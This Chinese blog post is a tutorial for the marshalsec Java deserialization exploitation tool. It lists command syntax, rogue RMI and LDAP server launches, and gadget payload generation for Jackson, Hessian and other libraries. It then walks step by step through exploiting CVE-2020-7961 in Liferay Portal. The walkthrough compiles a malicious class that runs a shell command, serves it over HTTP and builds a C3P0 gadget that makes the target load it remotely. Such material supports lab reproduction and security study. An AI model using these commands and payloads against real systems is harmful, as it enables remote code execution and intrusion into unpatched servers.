https://blog.csdn.net/whatday/article/details/107942941
命令格式
marshalsec命令格式如下:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
参数说明:
- -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
- -t:对生成的payloads进行解码测试
- -v:verbose mode, 展示生成的payloads
- gadget_type:指定使用的payload
- arguments - payload运行时使用的参数
- marshalsec.<marshaller>:指定exploits,根目录下的java文件名
开启RMI服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
开启LDAP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
查询可用Gadget
java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例
生成特定Payload
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject
攻击载荷
目前marshalsec支持的exploit和payload有:
Marshaller | Gadget Impact |
---|---|
BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization various third party libraries RCEs |
Hessian|Burlap | various third party RCEs |
Castor | dependency library RCE |
Jackson | possible JDK only RCE, various third party RCEs |
Java | yet another third party RCE |
JsonIO | JDK only RCE |
JYAML | JDK only RCE |
Kryo | third party RCEs |
KryoAltStrategy | JDK only RCE |
Red5AMF(0|3) | JDK only RCE |
SnakeYAML | JDK only RCEs |
XStream | JDK only RCEs |
YAMLBeans | third party RCE |
列出所有jackson的gadgets 传参为calc
D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"
如果想查找组件可以生成的gadgets有哪些
以Jackson为例
D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson
如果想查找gadgets可以用于哪些组件生成
方法1、以resin为例,可以查看手册
方法2、选择想看的gadgets->find usages
使用实例:
Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)
完整复现过程:https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/
marshalsec的使用如下:
首先准备一个恶意的Java类,编译:
// javac LifExp.java
public class LifExp {
static {
try {
String[] cmd = {"bash", "-c", "touch /tmp/success"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
在保存着class文件的目录下运行一个HTTP文件服务:
$ ls
LifExp.class LifExp.java
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp
其中,http://127.0.0.1/
是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。
这里需要注意 是2个参数
第一个参数 http://127.0.0.1/ 是python启动的http服务器
第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名
就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现
可能此命令生成的字节码中 最后访问的url会被组合为 http://127.0.0.1/LifExp.class
从而成功访问到 LifExp.class 文件